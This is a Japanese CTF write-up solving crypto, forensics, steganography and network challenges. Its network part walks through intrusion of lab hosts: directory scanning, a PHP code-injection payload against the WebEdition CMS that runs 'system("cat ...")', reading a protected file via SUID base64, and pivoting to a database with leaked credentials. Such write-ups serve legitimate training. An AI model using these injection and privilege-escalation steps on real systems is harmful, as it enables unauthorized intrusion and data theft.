    0xd0f685a3f8efff522290b6cc7f75ad77,
    0xfdd1b3c67bd3915973f77b7d79e6d6af,
    ...
    0xd065dd34dbc9be5cba81b23e6f740497,
    0x10b26415b5658acc55d1aed4c40a1101,
]
key = 0x4285a7a182c286b5aa39609176d99c13

from Crypto.Util.number import *
import Crypto.Cipher.AES as AES

res = b""
for i in range(len(encrypted) - 1):
    enc = long_to_bytes(encrypted[-i])
    iv = long_to_bytes(encrypted[-(i+1)])
    
    while len(enc) < 16:
        enc = b'\x00' + enc

    while len(iv) < 16:
        iv = b'\x00' + iv

    dec = AES.new(key=long_to_bytes(key), mode=AES.MODE_CBC, iv=iv).decrypt(enc)
    print(dec)

    res = dec + res

import shutil
with open("out.bin","wb") as fp:
    fp.write(res)

先頭16バイトが復元できていないがざっくり見るとzipファイルっぽいので、試しにmetypeappli...から最初のPKまでの文字列を消して7zipで解凍するとエラーが出るが無理矢理解凍できた。
content.xmlにフラグが書いてある。
openofficeで作られた何かのoffice系ファイルだったようだ。

[Crypto] Short RSA Public Key

RSA-cipher.dat ファイルは RSA 公開鍵 pubkey.pem で暗号化されています。公開鍵から秘密鍵を割り出し、暗号を解読してください。なお、パディングは PKCS#1 v1.5 です。

pubkey.pemに脆弱なポイントがありそうなのでRsaCtfToolでサクッと解析してみる。
どういう脆弱点を使ったか全くわからないが、出てきた。

$ python3 rsa-ctf-tool/RsaCtfTool.py --publickey pubkey.pem --private
-----BEGIN RSA PRIVATE KEY-----
MIGpAgEAAiEArYHJJkHAsYxO2lUcHXgoBE4+SnUZqskO5GkcSobc4uECAwEAAQIg
Q662JbtOjLP76oV60zAUqydnBML/R6W4KwTl3bDHHnUCEADCvWD/YDii6I5RVygw
NscCEgDkFoF3sGp+ldS/6XvoHjVRFwIPQRGaOXpjMjvWYeNncES9AhIAzJiPi/B4
ppH6JCfpWJ54TwMCDyUIRaIc5kbWqLK80JC92w==
-----END RSA PRIVATE KEY-----

という訳でデコードする。

$ python3 rsa-ctf-tool/RsaCtfTool.py --publickey pubkey.pem --private > private.key

$ openssl rsautl -decrypt -inkey private.key -in RSA-cipher.dat
The command rsautl was deprecated in version 3.0. Use 'pkeyutl' instead.
flag{■■■■■■■■■}

[Crypto] Cryptographically Insecure PRNG

PRNG.bin ファイルは下記の式で表される線形合同法で生成された疑似乱数列で XOR をとって暗号化されています。なお、生成された 4 バイトの数を最下位ビットから近い順に 1 バイトずつ平文と XOR をとるものとします。例えば、Hello World を x_0 = 4294967295 = 0xFFFFFFFF の初期値で暗号化した場合、16 進ダンプで b7 9a 93 93 cb 21 57 6f a3 ec 65 となります。
x_{n+1} = (233 x_n + 653) mod 4294967296
鍵(初期値= x_0)を推定し、PRNG.bin に対応する平文からフラグを抽出してください。なお、平文は(内容に意味はありませんが) ASCII でエンコードされた英文であったことがわかっています。また、最初の単語は 4 文字以上です。

平文はASCII でエンコードされた英文であることが既知であることを利用する。
x_0を全探索して、数バイトデコードしたときにちゃんと英文になるようなものを選択することで鍵を復元する。 x_0を普通に全探索すると少し探索空間が広いので、先頭4文字の平文を全探索することで探索空間を減らしている。

import string

'''
enc = [
    [0xb7, 0x9a, 0x93, 0x93],
    [0xcb, 0x21, 0x57, 0x6f],
    [0xa3, 0xec, 0x65, 0x00]
];
'''

enc = [
    [0xd1, 0x51, 0x20, 0xf4],
    [0xf3, 0xd8, 0x2e, 0x00],
    [0x01, 0x51, 0xea, 0x17],
    [0x2c, 0xca, 0x4c, 0x53],
    [0x1a, 0x18, 0x28, 0xdb],
    [0x4d, 0x01, 0x7c, 0x33],
]

def gogo(x0):
    x = x0
    ans = ""
    for i in range(6):
        a1 = x & 0xff
        a2 = (x // 0x100) & 0xff
        a3 = (x // 0x10000) & 0xff
        a4 = (x // 0x1000000) & 0xff

        b1 = a1 ^ enc[i][0]
        b2 = a2 ^ enc[i][1]
        b3 = a3 ^ enc[i][2]
        b4 = a4 ^ enc[i][3]

        if chr(b1) in string.printable and chr(b2) in string.printable and chr(b3) in string.printable and chr(b4) in string.printable:
            # ok
            ans += chr(b1) + chr(b2) + chr(b3) + chr(b4)

        else:
            return
        
        x = (233 * x + 653) % 4294967296
    print(f"{x0} {ans}")

for c1 in string.printable:
    for c2 in string.printable:
        for c3 in string.printable:
            for c4 in string.printable:
                a1 = ord(c1) ^ enc[0][0]
                a2 = ord(c2) ^ enc[0][1]
                a3 = ord(c3) ^ enc[0][2]
                a4 = ord(c4) ^ enc[0][3]
                x0 = a1 + 0x100 * a2 + 0x10000 * a3 + 0x1000000 * a4
                gogo(x0)

このようなコードで探索してみると

2638296720 Against selection releas
3141613200 AgaOnstnselgcti9n rGlea}
2382902928 Ag(znsWEseW,ctx
                          n )|le`3
2902996624 Ag(YnsW|seW]ctxUn )}le`$
2198484624 Ag*wnseDse5?ctj`n kUleRH
3507107472 Ag*%nseBse5ActjBn kGleR

2957185678 _CcD8=%mQy>(qyTK(ZS5BCS=

のように出てきて、1番が正解のものに見える。
よって2638296720を鍵に(x_0に)してデコードしてるとフラグが得られる。

import string

x0 = 2638296720
x = x0
ans = ""

with open('PRNG.bin', 'rb') as fp:
    while True:
        bs = fp.read(4)
        if len(bs) < 4:
            break

        a1 = x & 0xff
        a2 = (x // 0x100) & 0xff
        a3 = (x // 0x10000) & 0xff
        a4 = (x // 0x1000000) & 0xff

        b1 = a1 ^ bs[0]
        b2 = a2 ^ bs[1]
        b3 = a3 ^ bs[2]
        b4 = a4 ^ bs[3]

        assert chr(b1) in string.printable and chr(b2) in string.printable and chr(b3) in string.printable and chr(b4) in string.printable
        ans += chr(b1) + chr(b2) + chr(b3) + chr(b4)
        x = (233 * x + 653) % 4294967296

print(ans)

[Forensics] NTFSシリーズ

ディスクイメージ NTFS.vhd が与えられて設問に答えていく。

[Forensics] NTFS Data Hide

NTFSDataHide フォルダに保存されている Sample.docx を利用して、攻撃者が実行予定のスクリプトを隠しているようです。 仮想ディスクファイル NTFS.vhd を解析して、攻撃者が実行しようとしているスクリプトの内容を明らかにしてください。

OSCPだったかどこだったかで似たような手法を見た。
NTFSということでADSから持って来るんだろうと思って抜き出そうとしたが、
手元にメモってある手法がことごとく失敗し、かなり時間を使ってしまった。

vhdWindowsだとマウントできるらしく、最終的にこのルートで解いた。
https://atmarkit.itmedia.co.jp/ait/articles/1702/03/news153.html
この記事を参考にvhdファイルをマウントして、コマンドプロンプトから後は抜き出す。

D:\NTFSDataHide>dir /r
 ドライブ D のボリューム ラベルは ボリューム です
 ボリューム シリアル番号は 9291-EE68 です

 D:\NTFSDataHide のディレクトリ

2023/12/15  12:54    <DIR>          .
2023/12/15  13:05            45,446 Sample.pptx
                                120 Sample.pptx:script:$DATA
               1 個のファイル              45,446 バイト
               1 個のディレクトリ      56,500,224 バイトの空き領域

D:\NTFSDataHide>more < Sample.pptx:script:$DATA
"[System.Text.Encoding]::UTF8.GetString([Convert]::FromBase64String('ZmxhZ3tkYXRhX2Nhbl9iZV9oaWRkZW5faW5fYWRzfQ=='))"

base64デコードすればフラグ獲得。

[Forensics] NTFS File Delete

NTFSFileDelete フォルダにフラグを記載した txt ファイルを保存したのですが、どうやら何者かによって消されてしまったようです。
問題「NTFS Data Hide」に引き続き、仮想ディスクファイル NTFS.vhd を解析して、削除された flag.txt に書かれていた内容を見つけ出してください。

FTK ImagerでNTFS.vhdを開くと、NTFSFileDeleteに削除されたflag.txtを見つけることができ、フラグも得られた。

[Forensics] NTFS File Rename

NTFSFileRename フォルダに保存されている Renamed.docx は、以前は別のファイル名で保存されていました。
問題「NTFS File Delete」に引き続き、仮想ディスクファイル NTFS.vhdを解析して、 Renamed.docx の元のファイル名を明らかにしてください。

NTFSの$系のどれかを解析すれば出てきそうなので、手当たり次第に見ていく。
$UsnJrnlからで情報が抜き出せた。
https://www.jpcert.or.jp/present/2018/JSAC2018_03_yamazaki.pdf
$Jを持ってきて、以下のように解析。

PS> MFTECmd.exe -f '$J' --csv out

これでcsvファイルが得られるので、中を見ると以下のようなログが残っている。

journaling_system_is_powerful.docx,.docx,43,3,40,1,,12048,2023-12-15 03:56:14.4378149,RenameOldName,Archive,12048,C:\Users\eric\root\nodefender\ctfs\20240223\boueisho2024\forensics-ntfs-data-hide\$J

これが変更前のファイル名。

[Forensics] メモリシリーズ

メモリダンプが与えられて、設問に答える問題。
色々見るとWindowsのメモリダンプだった。

[Forensics] HiddEN Variable

このメモリダンプが取得された環境にはフラグが隠されています。 memdump.raw を解析して、フラグを見つけ出してください。

問題タイトルを見ると環境変数を持ってくればよさそう。

$ python3 ~/.opt/volatility3/vol.py -f memdump.raw windows.envars
...
9096    dllhost.exe 0x21711172010   FLAG    BDkPUNzMM3VHthkj2cVEjdRBqTJcfLMJaxT9si67RgJZ45PS
...

CyberChefのmagicに通してみるとBase58だった。
戻すとフラグ。

https://gchq.github.io/CyberChef/#recipe=From_Base58('123456789ABCDEFGHJKLMNPQRSTUVWXYZabcdefghijkmnopqrstuvwxyz',false)

[Forensics] My Secret

問題「HiddEN Variable」に引き続き、メモリダンプファイル memdump.raw を解析して、秘密(Secret)を明らかにしてください。

cmdlineに気になるログが残っている。

$ python3 ~/.opt/volatility3/vol.py -f memdump.raw windows.cmdline
...
5516    7z.exe  7z  x -pY0uCanF1ndTh1sPa$$w0rd C:\Users\vauser\Documents\Secrets.7z -od:\

このSecrets.7zは取得できるし、コマンドに解凍パスワードも残っている。

$ python3 ~/.opt/volatility3/vol.py -f memdump.raw windows.filescan
...
0xe206bba6b1d0  \Users\vauser\Documents\Secrets.7z  216
...
$ python3 ~/.opt/volatility3/vol.py -f memdump.raw windows.dumpfiles --virtaddr 0xe206bba6b1d0
Volatility 3 Framework 2.4.1
Progress:  100.00               PDB scanning finished
Cache   FileObject      FileName        Result

DataSectionObject       0xe206bba6b1d0  Secrets.7z      Error dumping file
SharedCacheMap  0xe206bba6b1d0  Secrets.7z      file.0xe206bba6b1d0.0xe206bbabada0.SharedCacheMap.Secrets.7z.vacb

取れたので7z x -p'Y0uCanF1ndTh1sPa$$w0rd' file.0xe206bba6b1d0.0xe206bbabada0.SharedCacheMap.Secrets.7z.vacbで解凍するとSecrets.rtfが得られる。
stringsするとフラグ獲得。

[Misc] Une Maison

画像 maison.jpg の中にフラグが隠されています。探してみてください。

マンションを取った画像が与えられる。
画像を拡大して色々見てみると、真ん中にあるシマシマの模様の右側が
シマシマの上下に微妙に白がはみ出ていて後から張り付けたような見た目になっている。
1次元バーコードのCode128っぽいので、切り出してデコーダーに送るとフラグがもらえた。

[Misc] String Obfuscation

難読化された Python コード string_obfuscation.py ファイルからフラグを抽出してください。

以下のようなPythonコードが与えられる。

import sys

if len(sys.argv) < 2:
    exit()

KEY = "gobbledygook".replace("b", "").replace("e", "").replace("oo", "").replace("gk", "").replace("y", "en")
FLAG = chr(51)+chr(70)+chr(120)+chr(89)+chr(70)+chr(109)+chr(52)+chr(117)+chr(84)+chr(89)+chr(68)+chr(70)+chr(70)+chr(122)+chr(109)+chr(98)+chr(51)

if sys.argv[1] == KEY:
    print("flag{%s}" % FLAG)

フラグの関連する所を抜き出して実行するとフラグが得られる。

$ python3
Python 3.11.6 (main, Oct  8 2023, 05:06:43) [GCC 13.2.0] on linux
Type "help", "copyright", "credits" or "license" for more information.
>>> FLAG = chr(51)+chr(70)+chr(120)+chr(89)+chr(70)+chr(109)+chr(52)+chr(117)+chr(84)+chr(89)+chr(68)+chr(70)+chr(70)+chr(122)+chr(109)+chr(98)+chr(51)
>>> print("flag{%s}" % FLAG)
flag{■■■■■■■■■■■}

[Misc] Where Is the Legit Flag?

fakeflag.py を実行しても偽のフラグが出力されてしまいます。難読化されたコードを解読し、本物のフラグを見つけ出してください。

以下のようなpythonファイルが与えられる。

exec(chr(105)+chr(109)+chr(112)+chr(111)+chr(114)+chr(116)+chr(32)+chr(122)+chr(108)+chr(105)+chr(98)+chr(44)+chr(32)+chr(98)+chr(97)+chr(115)+chr(101)+chr(54)+chr(52))
TANAKA = "eJyNVG1320QT/Z5z8h+GhNYvcR35JZZdaCGhT6D0gQTiFKjjlpU0ljZe7272xYpoy2/vrJRA+MA56IOPrJ29e+feO7sP84JJ2CohsEqYELBlktsCWM64tA6E3+gKEjSm6u/uXBzPz+AZtBY/vRx91Unffv908vOrw9PXz7/E23h/nf2mtp9/Gz05fn9zbv8sB18f/P7DWa9o/5/1f/Hf6KMlhzfJ9YvZ/x4NKzk185PNF6vud3uf/Xjx0eV/PLsUvz4ev/tw1bq6au3u7MNxorYIK5Yi4K0WRAhWyoAuKstTJiDDlFuuZB9C9WvOwEq2RpBsg2CUlxk4Is5XPIXEMGubwlNqVpVc5mB9nqN1BAG2LjeYM5OFpRVumCAUTPF+31yVtAhb+oB0OLcsN4ikjUTmCih8jqCVoSODUpdvLl+9JK0W8fhJdBD1dnfg7pnG3UGPS9ceT7vdQYdW9uFstQLtjVYWQTBiwiwYb6hJ65jDDUpHoPcIYfP03ahTo4yG/Sg8zb/WaNwKkPel8QQeQ3R7etqLh/CB3qKoF8/gbfO2mBwtF9GypvDCm9D4WipHbYsKLCP1S4MuLTADmzISw6gyiHGP3h52euMY+ArmxpNLguhHNY/B8JBaG0TwCAaDnjJZOy1MezjpPCQ3ig6O7pQ4HHYJa9adLQMXOBfeglMIFp0jH0pOCm8ZBZJSialrHIGLQJECnFmwBQqSvqk0zLkKtFGZT5GEo9Iz7yzPSF3MLUhynYw0NpximLzxXISmWchCU39soWRiDZqRHE04eF64lRfAsi0n2JrCCdaomlXBowBGKU0qMtFQHNYYpmYfzgPzBAu25SHAiv65Jk1esoT6K9TmDhCON4psoLhT7FO1aXKfKhnOqR3ykjwq6Zs3pslFG8K+hqXVzKzJLWVSmuJ6gqxWQY7cMF0fEqRvtWjLpSTIJr3XWFKo00Jp6oXoZaiRVqklmh8RNAy7+uHnWhGhf33ai7/9DQ5xWfeRlJiA4wiKkl544yjYoZu7S2XBl38h/Ldd4SbglAZoJu3hoRRHDs9hHA+nT/9Bhp7EIFs//OhoRoej8WQSQxemo3h69HBV02mu7Q5H46M4no46tUPzgqTOC7jxiBIytiF6YAXXGk1Ve8YMt3WQls2OkyqEKQyzUXRBhYwqT83QQKGjJVtQbVN6pike3CFUoVIijV7SZMx6wk/CjUzXcfCxIbe3Eip/P91e46z0MtGz6fjjHmHt7nwCLpe/Qg=="
TAKAHASHI = [0x7a,0x7a,0x7a,0x12,0x18,0x12,0x1d,0x12,0x07,0x7b,0x36,0x37,0x3c,0x30,0x36,0x37,0x67,0x65,0x31,0x7d,0x67,0x65,0x36,0x20,0x32,0x31,0x7b,0x20,0x20,0x36,0x21,0x23,0x3e,0x3c,0x30,0x36,0x37,0x7d,0x31,0x3a,0x3f,0x29,0x7b,0x30,0x36,0x2b,0x36]
exec(bytes([WATANABE ^ 0b01010011 for WATANABE in reversed(TAKAHASHI)]))

2つのexec部分を展開すると以下のようになる。

import zlib, base64
TANAKA = "eJyNVG1320QT/Z5z8h+GhNYvcR35JZZdaCGhT6D0gQTiFKjjlpU0ljZe7272xYpoy2/vrJRA+MA56IOPrJ29e+feO7sP84JJ2CohsEqYELBlktsCWM64tA6E3+gKEjSm6u/uXBzPz+AZtBY/vRx91Unffv908vOrw9PXz7/E23h/nf2mtp9/Gz05fn9zbv8sB18f/P7DWa9o/5/1f/Hf6KMlhzfJ9YvZ/x4NKzk185PNF6vud3uf/Xjx0eV/PLsUvz4ev/tw1bq6au3u7MNxorYIK5Yi4K0WRAhWyoAuKstTJiDDlFuuZB9C9WvOwEq2RpBsg2CUlxk4Is5XPIXEMGubwlNqVpVc5mB9nqN1BAG2LjeYM5OFpRVumCAUTPF+31yVtAhb+oB0OLcsN4ikjUTmCih8jqCVoSODUpdvLl+9JK0W8fhJdBD1dnfg7pnG3UGPS9ceT7vdQYdW9uFstQLtjVYWQTBiwiwYb6hJ65jDDUpHoPcIYfP03ahTo4yG/Sg8zb/WaNwKkPel8QQeQ3R7etqLh/CB3qKoF8/gbfO2mBwtF9GypvDCm9D4WipHbYsKLCP1S4MuLTADmzISw6gyiHGP3h52euMY+ArmxpNLguhHNY/B8JBaG0TwCAaDnjJZOy1MezjpPCQ3ig6O7pQ4HHYJa9adLQMXOBfeglMIFp0jH0pOCm8ZBZJSialrHIGLQJECnFmwBQqSvqk0zLkKtFGZT5GEo9Iz7yzPSF3MLUhynYw0NpximLzxXISmWchCU39soWRiDZqRHE04eF64lRfAsi0n2JrCCdaomlXBowBGKU0qMtFQHNYYpmYfzgPzBAu25SHAiv65Jk1esoT6K9TmDhCON4psoLhT7FO1aXKfKhnOqR3ykjwq6Zs3pslFG8K+hqXVzKzJLWVSmuJ6gqxWQY7cMF0fEqRvtWjLpSTIJr3XWFKo00Jp6oXoZaiRVqklmh8RNAy7+uHnWhGhf33ai7/9DQ5xWfeRlJiA4wiKkl544yjYoZu7S2XBl38h/Ldd4SbglAZoJu3hoRRHDs9hHA+nT/9Bhp7EIFs//OhoRoej8WQSQxemo3h69HBV02mu7Q5H46M4no46tUPzgqTOC7jxiBIytiF6YAXXGk1Ve8YMt3WQls2OkyqEKQyzUXRBhYwqT83QQKGjJVtQbVN6pike3CFUoVIijV7SZMx6wk/CjUzXcfCxIbe3Eip/P91e46z0MtGz6fjjHmHt7nwCLpe/Qg=="
exec(zlib.decompress(base64.b64decode(TANAKA)))

TANAKA部分を展開して不要なコメントを削除して整形すると以下のようになる。

SATO = '[QI3?)c^J:6RK/FV><ex7#kdYov$G0-A{qPs~w1@+`MO,h(La.WuCp5]i ZbjD9E%2yn8rTBm;f*H"!NS}tgz=UlX&4_|\'\\'
SUZUKI = [74-0+0,87*1,int(48**1),int(8_3),int(32.00000),int('34'),76 & 0xFF,72 | 0x00,79 ^ 0x00,[65][0],(2),47 if True else 0,int(12/1),10 % 11,ord(chr(26)),30+5,int(48/2*2),9*9]
(''.join([SATO[i] for i in SUZUKI]))

print("flog{8vje9wunbp984}")

素直に見えている方を答えると不正解。
(''.join([SATO[i] for i in SUZUKI]))で生成される方を答えるとフラグだった。

[Misc] Utter Darkness

画像ファイル darkness.bmp に隠されているフラグを見つけてください。

「青い空を見上げればいつもそこに白い猫」を立ち上げてステガノグラフィー解析してみる。
変換をポチポチしていると、「パレット ランダム配色 動的生成 1」にてフラグが浮かび上がってきた。

[Misc] Serial Port Signal

Tx.csv は、とあるシリアル通信の内容を傍受し、電気信号の Hi, Low をそれぞれ数字の 1 と 0 に変換したものです。通信内容を解析してフラグを抽出してください。

シリアル通信の記録を眺めると20マイクロ秒毎に0,1が記録されている。
最小4,5つくらいの0か1が連続しているので周波数を考えてサンプリングしてくる必要がありそうなので、
4,5つくらいで1つのビットを表現するくらいの周波数だろうと仮定して、5くらいでまとめて観測する。

res = ''

cnt = 0
ans = ''
pre = '#'
with open('Tx.csv', 'r') as fp:
    for line in fp.readlines()[1:]:
        us, bit = line[:-1].split(',')
        
        if pre != bit:
            if pre == '#':
                pass
            else:
                print(pre, cnt)
                ans += pre * (cnt // 5)
                if 4 <= cnt % 5:
                    ans += pre
            pre = bit
            cnt = 1
        else:
            cnt += 1

print(ans)

その後、この01列をどう解釈しようか検索すると以下の記事を見つける。
https://toragi.cqpub.co.jp/Portals/0/backnumber/2005/05/p149-150.pdf

111111...
スタートビット 0
データ7bytes 
パリティビット 1byte
ストップビット 1
111111...

でいい感じに整理するとちゃんと構文だった感じになってきた。 パリティビットはデータの1が偶数なら0で奇数なら1になる。

111111111111111111111111111111111111111111111111111111
0 0001001 0 1
0 1010011 0 1
0 0011011 0 1
0 0011011 0 1
0 1111011 0 1 
0 0000010 1 1 
0 1010101 0 1
0 1000001 0 1 
0 0100101 1 1
0 0010101 1 1
0 0101110 0 1
0 0000010 1 1
0 1100111 1 1
0 1001111 1 1
0 0111011 1 1
0 0010111 0 1
0 1101111 0 1
0 1001001 1 1
0 0101011 0 1
0 1010101 0 1
0 0101101 0 1
0 1100001 1 1
0 1010110 0 1
0 0010101 1 1
0 0010001 0 1
0 1011111 0 1
0 1011000 1 1
1111111111111111111111111111111
0 0001001 0 1
0 1010011 0 1
0 0011011 0 1
0 0011011 0 1
0

データ7bytesを取り出して逆順になっているので逆にして全部の先頭に0をつけてbinary to asciiすると
文字が浮かび上がってきた。

https://gchq.github.io/CyberChef/#recipe=From_Binary('Space',8)&input=MDEwMDEwMDANCjAxMTAwMTAxDQowMTEwMTEwMA0KMDExMDExMDANCjAxMTAxMTExDQowMDEwMDAwMA0KMDEwMTAxMDENCjAxMDAwMDAxDQowMTAxMDAxMA0KMDEwMTAxMDANCjAwMTExMDEwDQowMDEwMDAwMA0KMDExMTAwMTENCjAxMTExMDAxDQowMTEwMTExMA0KMDExMTAxMDANCjAxMTExMDExDQowMTAwMTAwMQ0KMDExMDEwMTANCjAxMDEwMTAxDQowMTAxMTAxMA0KMDEwMDAwMTENCjAwMTEwMTAxDQowMTAxMDEwMA0KMDEwMDAxMDANCjAxMTExMTAxDQowMDAwMTEwMQ

フラグがROT13になっているので戻すと正答。

https://gchq.github.io/CyberChef/#recipe=ROT13(true,true,false,13)&input=c3ludHtJalVaQzVURH0

[Network] 10.10.10.21シリーズ

[Network] Discovery

あなたはクライアントに依頼されて リリース予定の Web サーバー「10.10.10.21」に問題がないか確認することになりました。
対象サーバーにインストールされている CMS のバージョンを特定し、解答してください。

IPアドレスしかもらっていないのでnmap -T4 -n -Pn -p- -v 10.10.10.21でポートスキャンする。

PORT   STATE SERVICE
22/tcp open  ssh
80/tcp open  http

問題で言われているWebサーバーは80/tcpのことで深堀すると

80/tcp  open   http    nginx 1.25.3
|_http-title: Did not follow redirect to http://schatzsuche.ctf/
|_http-server-header: nginx/1.25.3

よって、/etc/hosts10.10.10.21 schatzsuche.ctfを追加して進む。
curlで中を見てみると工事中のサイトと言われる。

$ curl http://schatzsuche.ctf/
<!DOCTYPE html>
<html>
        <head><meta charset="UTF-8"/><title>Welcome to Our Site</title>    <meta name="viewport" content="width=device-width, initial-scale=1.0">
    <link rel="stylesheet" href="style.css"></head><body >    <div class="container">
        <h1>Welcome to Our Site</h1>
        <p>This site is currently under construction.</p>
        <p>Please check back later for more information.</p>
    </div></body></html> 

適当にディレクトリスキャンすると/cmsadminというのと/ftpというのが得られる。

$ gobuster dir -u "http://schatzsuche.ctf/" -w /usr/share/seclists/Discovery/Web-Content/common.txt -t 100 -x .php,.html --no-error
===============================================================
Gobuster v3.6
by OJ Reeves (@TheColonial) & Christian Mehlmauer (@firefart)
===============================================================
[+] Url:                     http://schatzsuche.ctf/
[+] Method:                  GET
[+] Threads:                 100
[+] Wordlist:                /usr/share/seclists/Discovery/Web-Content/common.txt
[+] Negative Status codes:   404
[+] User Agent:              gobuster/3.6
[+] Extensions:              php,html
[+] Timeout:                 10s
===============================================================
Starting gobuster in directory enumeration mode
===============================================================
/.well-known/security.txt (Status: 200) [Size: 268]
/cmsadmin             (Status: 301) [Size: 162] [--> http://schatzsuche.ctf/webEdition/]
/ftp                  (Status: 301) [Size: 162] [--> http://schatzsuche.ctf/ftp/]
/index.html           (Status: 200) [Size: 428]
/index.html           (Status: 200) [Size: 428]
/robots.txt           (Status: 200) [Size: 4700]

/ftpへ行くとディレクトリリスティングされてきて、/ftp/credentials.txtというのが得られる。

$ curl http://schatzsuche.ctf/ftp/credentials.txt
[WebEdition account]
webeditor
verystrongpass2024

WebEditonのクレデンシャル情報。
/cmsadminを見てみるとWebEditionだったので使ってみるとログインできた。
http://schatzsuche.ctf/webEdition/ > Help > Infoに行くとバージョン情報が得られる。

Version: 9.2.2 Cardada (9.2.2.0, Revision: 14877) official release
developed further by: webEdition e.V.

これを使えば正答できる。

[Network] Exploit

クライアントに管理情報が露見していることを報告しました。 問題「Discovery」に引き続き、対象サーバー「10.10.10.21」にインストールされている CMS脆弱性を調査し、機密情報(フラグ)を入手してください。
本問題の解答には、「Discovery」で発見した CMS を使用します。 なお、対象のCMSのコンテンツは約5分に1回の頻度でリセットされます。

WebEditionにログインできる状態から何かできないか色々試すと、以下が使えた。
https://www.exploit-db.com/exploits/51661
ここに書いてある手順を再現すれば任意のPHPコードが動く。
リバースシェルを試したがうまくいかなかったので、コマンドをちまちま動かしていき、最終的に以下でフラグが得られる。

"><?php echo system("cat /var/www/flag.txt");?>

[Network] Pivot

問題「Exploit」より、クライアントに CMS脆弱性が確認されたことを報告しました。 クライアントは、対象サーバーはコンテナ化しているので安全だと思っていたと驚いていました。
クライアントから追加の依頼があり、保守用の SSH アカウント情報が漏洩した場合の影響を調査することになりました。ポートスキャンやファイル探索などを駆使し、対象サーバー「10.10.10.21」から機密情報(フラグ)を入手してください。

これに加えてSSHの認証情報が得られる。
前問「Discovery」で22/tcpがあったので、そこにSSH接続をしてみると接続できる。

色々探索するとls -la /usr/binで以下を見つける。

-rwsr-xr-x 1 root root     35328 Feb  8  2022  base64

base64にSUIDが付いているので何かできないか探すと以下で任意ファイルが抜けることが分かる。
https://gtfobins.github.io/gtfobins/base64/
/home/george/secrets.txtという読めないファイルがあるので持ってきてみる。

george@5a0b3b2ca1a1:~$ LFILE=/home/george/secrets.txt
george@5a0b3b2ca1a1:~$ base64 "$LFILE" | base64 --decode
[MariaDB Access Information]
db_user
H4Rib0_90ldB4REN

MariaDBの認証情報が得られた。どこのDBだろう?
mysqlコマンドは入っていなかったので、とりあえず手元のKaliから呼べるようにポートフォワーディングする。
https://jpn.nec.com/cybersecurity/blog/210129/index.html
方法はここにある方法と同様。

色々やるとproxychains4 mysql -h 192.168.32.2 -u db_user -pH4Rib0_90ldB4RENでアクセスできた。
接続先の/etc/hosts192.168.32.2 5a0b3b2ca1a1とあったので接続先でMariaDBが動いていたようだ。
このDBを探索するとフラグが書いてある。

$ proxychains4 mysql -h 192.168.32.2 -u db_user -pH4Rib0_90ldB4REN
[proxychains] config file found: /etc/proxychains4.conf
[proxychains] preloading /usr/lib/x86_64-linux-gnu/libproxychains.so.4
[proxychains] DLL init: proxychains-ng 4.16
[proxychains] Strict chain  ...  127.0.0.1:6666  ...  192.168.32.2:3306  ...  OK
Welcome to the MariaDB monitor.  Commands end with ; or \g.
Your MariaDB connection id is 238
Server version: 11.2.2-MariaDB-1:11.2.2+maria~ubu2204 mariadb.org binary distribution

Copyright (c) 2000, 2018, Oracle, MariaDB Corporation Ab and others.

Type 'help;' or '\h' for help. Type '\c' to clear the current input statement.

MariaDB [(none)]> show databases;
+--------------------+
| Database           |
+--------------------+
| flag5              |
| information_schema |
+--------------------+
2 rows in set (0.009 sec)

MariaDB [(none)]> use flag5;
Reading table information for completion of table and column names
You can turn off this feature to get a quicker startup with -A

Database changed
MariaDB [flag5]> show tables;
+-----------------+
| Tables_in_flag5 |
+-----------------+
| flag            |
+-----------------+
1 row in set (0.016 sec)

MariaDB [flag5]> select * from flag;
+----+------------------------+
| id | flag                   |
+----+------------------------+
|  1 | flag{■■■■■■■■■■■■■■} |
+----+------------------------+
1 row in set (0.008 sec)

[Network] FileExtract

添付の FileExtract.pcapng ファイルからフラグを見つけ出し、解答してください。

FTP通信があるのでエクスポートするとs3cr3t.zipというファイルが抽出できた。
だが、パスワードがかかっている。

FTP通信を見るとログインの情報も得ることができた。

220 (vsFTPd 3.0.5)
USER anonymouse
331 Please specify the password.
PASS br2fWWJjjab3
230 Login successful.
SYST
215 UNIX Type: L8
PORT 172,10,0,55,237,241
200 PORT command successful. Consider using PASV.
LIST
150 Here comes the directory listing.
226 Directory send OK.
TYPE I
200 Switching to Binary mode.
PORT 172,10,0,55,174,135
200 PORT command successful. Consider using PASV.
RETR s3cr3t.zip
150 Opening BINARY mode data connection for s3cr3t.zip (205 bytes).
226 Transfer complete.
QUIT
221 Goodbye.

パスワードの使いまわしを考えてbr2fWWJjjab3を解凍パスワードに使ってみると成功した。
fl@gというファイルが含まれていてフラグが書いてある。

[Network] DO_tHe_best

IPアドレス「10.10.10.20」のターゲットシステムに隠された機密情報(フラグ)を見つけ出し、解答してください。

DoH?
使ったことが無かったので以下のサイトを参考にリクエストを送ってみる。
https://scrapbox.io/nwtgck/%E8%87%AA%E5%88%86%E3%81%A7DNS_over_HTTPS(DoH)%E3%81%AE%E3%83%AA%E3%82%AF%E3%82%A8%E3%82%B9%E3%83%88%E3%82%92%E5%87%BA%E3%81%97%E3%81%9F%E3%81%84-_1.1.1.1%E3%81%A8%E3%81%8BGoogle_Public_DNS%E3%81%A8%E3%81%8B

$ curl -H 'accept: application/dns-json' 'https://10.10.10.20/dns-query?name=example.com&type=AAAA' -k
{"Status":0,"TC":false,"RD":true,"RA":true,"AD":false,"CD":false,"Question":[{"name":"example.com.","type":28}],"Authority":[{"name":"example.com.","type":6,"TTL":86400,"Expires":"Mon, 26 Feb 2024 09:02:31 UTC","data":"ns.example.com. hostmaster.examle.com. 2024120101 10800 3600 604800 86400"}]}

ここからひたすらアイデアを出して最終的に接続先IPアドレスを逆引きすると新しいドメインがもらえた。 curl -H 'accept: application/dns-json' -k 'https://10.10.10.20/dns-query?name=20.10.10.10.in-addr.arpa&type=ANY'とやると
DSb-mt8ZVRtTCL97PDL4rRQxc3TbZ-gu.example.comというドメインが得られる。
/etc/hosts10.10.10.20 DSb-mt8ZVRtTCL97PDL4rRQxc3TbZ-gu.example.comを追加して
https://dsb-mt8zvrttcl97pdl4rrqxc3tbz-gu.example.com/に行くとフラグがもらえる。

[Programming] Logistic Map

下記のロジスティック写像について、x_0 = 0.3 を与えた時の x_9999 の値を求め、小数第7位までの値を答えてください(例:flag{0.1234567})。なお、値の保持と計算には倍精度浮動小数点数を使用してください。
x_{n+1} = 3.99 x_n (1 - x_n)

言われている通りに実装する。

#include<bits/stdc++.h>
#define rep(i,a,b) for(int i=a;i<b;i++)
#define rrep(i,a,b) for(int i=a;i>=b;i--)
